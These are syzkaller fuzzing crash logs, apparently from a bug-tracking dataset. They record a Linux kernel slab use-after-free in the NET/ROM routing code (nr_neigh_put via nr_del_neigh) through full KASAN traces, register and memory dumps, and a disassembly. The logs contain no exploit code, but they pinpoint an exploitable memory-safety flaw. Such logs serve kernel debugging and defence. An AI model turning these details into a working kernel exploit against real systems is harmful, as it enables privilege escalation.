[  113.165478][ T6118] RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  113.165493][ T6118] RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
[  113.165500][ T6118] RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
[  113.165507][ T6118] RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
[  113.165513][ T6118] R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
[  113.165520][ T6118] R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
[  113.165532][ T6118]  </TASK>
[  113.165537][ T6118] 
[  113.281801][ T6118] Allocated by task 6098:
[  113.283671][ T6118]  kasan_save_track+0x3e/0x80
[  113.286300][ T6118]  __kasan_kmalloc+0x93/0xb0
[  113.289041][ T6118]  __kmalloc_cache_noprof+0x31c/0x660
[  113.291585][ T6118]  nr_add_neigh+0x104/0x520
[  113.294064][ T6118]  nr_rt_ioctl+0xdf9/0xf90
[  113.296094][ T6118]  sock_do_ioctl+0x101/0x320
[  113.298605][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.300953][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.303479][ T6118]  do_syscall_64+0x14d/0xf80
[  113.305810][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.307986][ T6118] 
[  113.308926][ T6118] Freed by task 6118:
[  113.311191][ T6118]  kasan_save_track+0x3e/0x80
[  113.313804][ T6118]  kasan_save_free_info+0x46/0x50
[  113.318472][ T6118]  __kasan_slab_free+0x5c/0x80
[  113.320537][ T6118]  kfree+0x1c1/0x630
[  113.322217][ T6118]  nr_del_neigh+0x246/0x2d0
[  113.324201][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.326198][ T6118]  sock_do_ioctl+0x101/0x320
[  113.328175][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.330037][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.334100][ T6118]  do_syscall_64+0x14d/0xf80
[  113.336148][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.338591][ T6118] 
[  113.339616][ T6118] The buggy address belongs to the object at ffff88810e2e2580
[  113.339616][ T6118]  which belongs to the cache kmalloc-64 of size 64
[  113.345930][ T6118] The buggy address is located 60 bytes inside of
[  113.345930][ T6118]  freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)
[  113.353595][ T6118] 
[  113.354969][ T6118] The buggy address belongs to the physical page:
[  113.358480][ T6118] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
[  113.363154][ T6118] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[  113.366089][ T6118] page_type: f5(slab)
[  113.368381][ T6118] raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
[  113.373176][ T6118] raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
[  113.377893][ T6118] page dumped because: kasan: bad access detected
[  113.380988][ T6118] page_owner tracks the page as allocated
[  113.384184][ T6118] page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
[  113.393727][ T6118]  post_alloc_hook+0x231/0x280
[  113.396386][ T6118]  get_page_from_freelist+0x24dc/0x2580
[  113.399400][ T6118]  __alloc_frozen_pages_noprof+0x18d/0x380
[  113.401630][ T6118]  allocate_slab+0x77/0x660
[  113.403449][ T6118]  refill_objects+0x331/0x3c0
[  113.405478][ T6118]  __pcs_replace_empty_main+0x2e6/0x730
[  113.408517][ T6118]  __kmalloc_node_noprof+0x577/0x7c0
[  113.411377][ T6118]  __vmalloc_node_range_noprof+0x5d5/0x1730
[  113.414561][ T6118]  __vmalloc_node_noprof+0xc2/0x100
[  113.417425][ T6118]  dup_task_struct+0x275/0x9a0
[  113.419974][ T6118]  copy_process+0x508/0x3cd0
[  113.422551][ T6118]  kernel_clone+0x248/0x8e0
[  113.424996][ T6118]  user_mode_thread+0x110/0x180
[  113.427692][ T6118]  call_usermodehelper_exec_work+0x5c/0x230
[  113.430891][ T6118]  process_scheduled_works+0xb6e/0x18c0
[  113.433794][ T6118]  worker_thread+0xa53/0xfc0
[  113.436325][ T6118] page_owner free stack trace missing
[  113.438336][ T6118] 
[  113.439470][ T6118] Memory state around the buggy address:
[  113.442614][ T6118]  ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[  113.447119][ T6118]  ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
[  113.451634][ T6118] >ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
[  113.457315][ T6118]                                         ^
[  113.459911][ T6118]  ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
[  113.463539][ T6118]  ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[  113.467086][ T6118] ==================================================================
[  113.477742][ T6118] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  113.480501][ T6118] CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
[  113.487593][ T6118] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  113.491617][ T6118] Call Trace:
[  113.493105][ T6118]  <TASK>
[  113.494375][ T6118]  vpanic+0x56c/0xa60
[  113.496069][ T6118]  ? __pfx_vpanic+0x10/0x10
[  113.498599][ T6118]  panic+0xc5/0xd0
[  113.500648][ T6118]  ? __pfx_panic+0x10/0x10
[  113.502352][ T6118]  ? preempt_schedule_thunk+0x16/0x30
[  113.504586][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.506483][ T6118]  ? preempt_schedule_thunk+0x16/0x30
[  113.509252][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.511770][ T6118]  check_panic_on_warn+0x89/0xb0
[  113.514514][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.516750][ T6118]  end_report+0x73/0x180
[  113.519094][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.521619][ T6118]  kasan_report+0x128/0x150
[  113.523420][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.525882][ T6118]  kasan_check_range+0x264/0x2c0
[  113.528678][ T6118]  nr_neigh_put+0x21/0x170
[  113.531212][ T6118]  nr_del_neigh+0x25a/0x2d0
[  113.533753][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.536279][ T6118]  ? kasan_quarantine_put+0xbb/0x1f0
[  113.539112][ T6118]  ? __pfx_nr_rt_ioctl+0x10/0x10
[  113.541784][ T6118]  ? apparmor_capable+0x126/0x170
[  113.544085][ T6118]  ? capable+0x88/0xe0
[  113.546379][ T6118]  ? nr_ioctl+0x1b1/0x3b0
[  113.548768][ T6118]  sock_do_ioctl+0x101/0x320
[  113.551296][ T6118]  ? __pfx_sock_do_ioctl+0x10/0x10
[  113.554055][ T6118]  ? rcu_core+0xd13/0x1070
[  113.556835][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.558446][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.560897][ T6118]  ? __fget_files+0x2a/0x420
[  113.563443][ T6118]  ? __fget_files+0x3a0/0x420
[  113.566113][ T6118]  ? __fget_files+0x2a/0x420
[  113.568588][ T6118]  ? bpf_lsm_file_ioctl+0x9/0x20
[  113.571250][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.573892][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.575847][ T6118]  do_syscall_64+0x14d/0xf80
[  113.578435][ T6118]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.581977][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.585309][ T6118] RIP: 0033:0x7f3e4416f06b
[  113.587723][ T6118] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
[  113.597300][ T6118] RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  113.601233][ T6118] RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
[  113.605584][ T6118] RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
[  113.608516][ T6118] RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
[  113.612675][ T6118] R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
[  113.616979][ T6118] R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
[  113.621327][ T6118]  </TASK>
[  113.623850][ T6118] Kernel Offset: disabled
[  113.625659][ T6118] Rebooting in 86400 seconds..
 OtherCrashReports:[------------[ cut here ]------------
refcount_t: underflow; use-after-free.
WARNING: lib/refcount.c:28 at refcount_warn_saturate+0xb2/0x110 lib/refcount.c:28, CPU#0: syz-executor343/6134
Modules linked in:
CPU: 0 UID: 0 PID: 6134 Comm: syz-executor343 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:refcount_warn_saturate+0xb2/0x110 lib/refcount.c:28
Code: 74 bf 96 0b 67 48 0f b9 3a eb 4a e8 c8 23 16 fd 48 8d 3d 71 bf 96 0b 67 48 0f b9 3a eb 37 e8 b5 23 16 fd 48 8d 3d 6e bf 96 0b <67> 48 0f b9 3a eb 24 e8 a2 23 16 fd 48 8d 3d 6b bf 96 0b 67 48 0f
RSP: 0018:ffffc90003b27a70 EFLAGS: 00010293
RAX: ffffffff84af9c3b RBX: 0000000000000003 RCX: ffff8881951e57c0
RDX: 0000000000000000 RSI: ffffffff8f141140 RDI: ffffffff90465bb0
RBP: 0000000000000000 R08: ffff8881951e57c0 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000000 R12: ffff888193b621a8
R13: dffffc0000000000 R14: ffff888193b621bc R15: 0000000000000002
FS:  00007fdf0bca86c0(0000) GS:ffff8881a53b7000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffc81e4cd48 CR3: 00000001fbf76000 CR4: 00000000000006f0
Call Trace:
 <TASK>
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fdf0bcdf06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007fdf0bca8130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007fdf0bca8cdc RCX: 00007fdf0bcdf06b
RDX: 00007fdf0bd7eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007fdf0bca86c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007fff39cebdf0 R15: 00007fff39cebed8
 </TASK>
----------------
Code disassembly (best guess):
   0:	74 bf                	je     0xffffffc1
   2:	96                   	xchg   %eax,%esi
   3:	0b 67 48             	or     0x48(%rdi),%esp
   6:	0f b9 3a             	ud1    (%rdx),%edi
   9:	eb 4a                	jmp    0x55
   b:	e8 c8 23 16 fd       	call   0xfd1623d8
  10:	48 8d 3d 71 bf 96 0b 	lea    0xb96bf71(%rip),%rdi        # 0xb96bf88
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 37                	jmp    0x55
  1e:	e8 b5 23 16 fd       	call   0xfd1623d8
  23:	48 8d 3d 6e bf 96 0b 	lea    0xb96bf6e(%rip),%rdi        # 0xb96bf98
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 24                	jmp    0x55
  31:	e8 a2 23 16 fd       	call   0xfd1623d8
  36:	48 8d 3d 6b bf 96 0b 	lea    0xb96bf6b(%rip),%rdi        # 0xb96bfa8
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf
] StraceOutput: TestError:]

map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:15352' (ED25519) to the list of known hosts.
[  113.070428][ T6098] mkiss: ax0: crc mode is auto.
Created AX.25 interface: ax0
[  113.151101][ T6118] ==================================================================
[  113.155794][ T6118] BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170
[  113.158624][ T6118] Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118
[  113.163716][ T6118] 
[  113.164967][ T6118] CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
[  113.164987][ T6118] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  113.164995][ T6118] Call Trace:
[  113.165030][ T6118]  <TASK>
[  113.165038][ T6118]  dump_stack_lvl+0xe8/0x150
[  113.165062][ T6118]  print_report+0xba/0x230
[  113.165077][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.165094][ T6118]  kasan_report+0x117/0x150
[  113.165112][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.165129][ T6118]  kasan_check_range+0x264/0x2c0
[  113.165144][ T6118]  nr_neigh_put+0x21/0x170
[  113.165161][ T6118]  nr_del_neigh+0x25a/0x2d0
[  113.165178][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.165196][ T6118]  ? kasan_quarantine_put+0xbb/0x1f0
[  113.165209][ T6118]  ? __pfx_nr_rt_ioctl+0x10/0x10
[  113.165227][ T6118]  ? apparmor_capable+0x126/0x170
[  113.165244][ T6118]  ? capable+0x88/0xe0
[  113.165261][ T6118]  ? nr_ioctl+0x1b1/0x3b0
[  113.165275][ T6118]  sock_do_ioctl+0x101/0x320
[  113.165290][ T6118]  ? __pfx_sock_do_ioctl+0x10/0x10
[  113.165300][ T6118]  ? rcu_core+0xd13/0x1070
[  113.165320][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.165332][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.165343][ T6118]  ? __fget_files+0x2a/0x420
[  113.165354][ T6118]  ? __fget_files+0x3a0/0x420
[  113.165364][ T6118]  ? __fget_files+0x2a/0x420
[  113.165375][ T6118]  ? bpf_lsm_file_ioctl+0x9/0x20
[  113.165391][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.165401][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.165415][ T6118]  do_syscall_64+0x14d/0xf80
[  113.165433][ T6118]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.165445][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.165455][ T6118] RIP: 0033:0x7f3e4416f06b
[  113.165468][ T6118] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
[  113.165478][ T6118] RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  113.165493][ T6118] RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
[  113.165500][ T6118] RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
[  113.165507][ T6118] RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
[  113.165513][ T6118] R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
[  113.165520][ T6118] R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
[  113.165532][ T6118]  </TASK>
[  113.165537][ T6118] 
[  113.281801][ T6118] Allocated by task 6098:
[  113.283671][ T6118]  kasan_save_track+0x3e/0x80
[  113.286300][ T6118]  __kasan_kmalloc+0x93/0xb0
[  113.289041][ T6118]  __kmalloc_cache_noprof+0x31c/0x660
[  113.291585][ T6118]  nr_add_neigh+0x104/0x520
[  113.294064][ T6118]  nr_rt_ioctl+0xdf9/0xf90
[  113.296094][ T6118]  sock_do_ioctl+0x101/0x320
[  113.298605][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.300953][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.303479][ T6118]  do_syscall_64+0x14d/0xf80
[  113.305810][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.307986][ T6118] 
[  113.308926][ T6118] Freed by task 6118:
[  113.311191][ T6118]  kasan_save_track+0x3e/0x80
[  113.313804][ T6118]  kasan_save_free_info+0x46/0x50
[  113.318472][ T6118]  __kasan_slab_free+0x5c/0x80
[  113.320537][ T6118]  kfree+0x1c1/0x630
[  113.322217][ T6118]  nr_del_neigh+0x246/0x2d0
[  113.324201][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.326198][ T6118]  sock_do_ioctl+0x101/0x320
[  113.328175][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.330037][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.334100][ T6118]  do_syscall_64+0x14d/0xf80
[  113.336148][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.338591][ T6118] 
[  113.339616][ T6118] The buggy address belongs to the object at ffff88810e2e2580
[  113.339616][ T6118]  which belongs to the cache kmalloc-64 of size 64
[  113.345930][ T6118] The buggy address is located 60 bytes inside of
[  113.345930][ T6118]  freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)
[  113.353595][ T6118] 
[  113.354969][ T6118] The buggy address belongs to the physical page:
[  113.358480][ T6118] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
[  113.363154][ T6118] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[  113.366089][ T6118] page_type: f5(slab)
[  113.368381][ T6118] raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
[  113.373176][ T6118] raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
[  113.377893][ T6118] page dumped because: kasan: bad access detected
[  113.380988][ T6118] page_owner tracks the page as allocated
[  113.384184][ T6118] page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
[  113.393727][ T6118]  post_alloc_hook+0x231/0x280
[  113.396386][ T6118]  get_page_from_freelist+0x24dc/0x2580
[  113.399400][ T6118]  __alloc_frozen_pages_noprof+0x18d/0x380
[  113.401630][ T6118]  allocate_slab+0x77/0x660
[  113.403449][ T6118]  refill_objects+0x331/0x3c0
[  113.405478][ T6118]  __pcs_replace_empty_main+0x2e6/0x730
[  113.408517][ T6118]  __kmalloc_node_noprof+0x577/0x7c0
[  113.411377][ T6118]  __vmalloc_node_range_noprof+0x5d5/0x1730
[  113.414561][ T6118]  __vmalloc_node_noprof+0xc2/0x100
[  113.417425][ T6118]  dup_task_struct+0x275/0x9a0
[  113.419974][ T6118]  copy_process+0x508/0x3cd0
[  113.422551][ T6118]  kernel_clone+0x248/0x8e0
[  113.424996][ T6118]  user_mode_thread+0x110/0x180
[  113.427692][ T6118]  call_usermodehelper_exec_work+0x5c/0x230
[  113.430891][ T6118]  process_scheduled_works+0xb6e/0x18c0
[  113.433794][ T6118]  worker_thread+0xa53/0xfc0
[  113.436325][ T6118] page_owner free stack trace missing
[  113.438336][ T6118] 
[  113.439470][ T6118] Memory state around the buggy address:
[  113.442614][ T6118]  ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[  113.447119][ T6118]  ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
[  113.451634][ T6118] >ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
[  113.457315][ T6118]                                         ^
[  113.459911][ T6118]  ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
[  113.463539][ T6118]  ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[  113.467086][ T6118] ==================================================================
[  113.477742][ T6118] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  113.480501][ T6118] CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
[  113.487593][ T6118] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  113.491617][ T6118] Call Trace:
[  113.493105][ T6118]  <TASK>
[  113.494375][ T6118]  vpanic+0x56c/0xa60
[  113.496069][ T6118]  ? __pfx_vpanic+0x10/0x10
[  113.498599][ T6118]  panic+0xc5/0xd0
[  113.500648][ T6118]  ? __pfx_panic+0x10/0x10
[  113.502352][ T6118]  ? preempt_schedule_thunk+0x16/0x30
[  113.504586][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.506483][ T6118]  ? preempt_schedule_thunk+0x16/0x30
[  113.509252][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.511770][ T6118]  check_panic_on_warn+0x89/0xb0
[  113.514514][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.516750][ T6118]  end_report+0x73/0x180
[  113.519094][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.521619][ T6118]  kasan_report+0x128/0x150
[  113.523420][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.525882][ T6118]  kasan_check_range+0x264/0x2c0
[  113.528678][ T6118]  nr_neigh_put+0x21/0x170
[  113.531212][ T6118]  nr_del_neigh+0x25a/0x2d0
[  113.533753][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.536279][ T6118]  ? kasan_quarantine_put+0xbb/0x1f0
[  113.539112][ T6118]  ? __pfx_nr_rt_ioctl+0x10/0x10
[  113.541784][ T6118]  ? apparmor_capable+0x126/0x170
[  113.544085][ T6118]  ? capable+0x88/0xe0
[  113.546379][ T6118]  ? nr_ioctl+0x1b1/0x3b0
[  113.548768][ T6118]  sock_do_ioctl+0x101/0x320
[  113.551296][ T6118]  ? __pfx_sock_do_ioctl+0x10/0x10
[  113.554055][ T6118]  ? rcu_core+0xd13/0x1070
[  113.556835][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.558446][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.560897][ T6118]  ? __fget_files+0x2a/0x420
[  113.563443][ T6118]  ? __fget_files+0x3a0/0x420
[  113.566113][ T6118]  ? __fget_files+0x2a/0x420
[  113.568588][ T6118]  ? bpf_lsm_file_ioctl+0x9/0x20
[  113.571250][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.573892][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.575847][ T6118]  do_syscall_64+0x14d/0xf80
[  113.578435][ T6118]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.581977][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.585309][ T6118] RIP: 0033:0x7f3e4416f06b
[  113.587723][ T6118] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
[  113.597300][ T6118] RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  113.601233][ T6118] RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
[  113.605584][ T6118] RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
[  113.608516][ T6118] RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
[  113.612675][ T6118] R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
[  113.616979][ T6118] R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
[  113.621327][ T6118]  </TASK>
[  113.623850][ T6118] Kernel Offset: disabled
[  113.625659][ T6118] Rebooting in 86400 seconds..
 TruncatedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118

CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f3e4416f06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
 </TASK>

Allocated by task 6098:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6118:
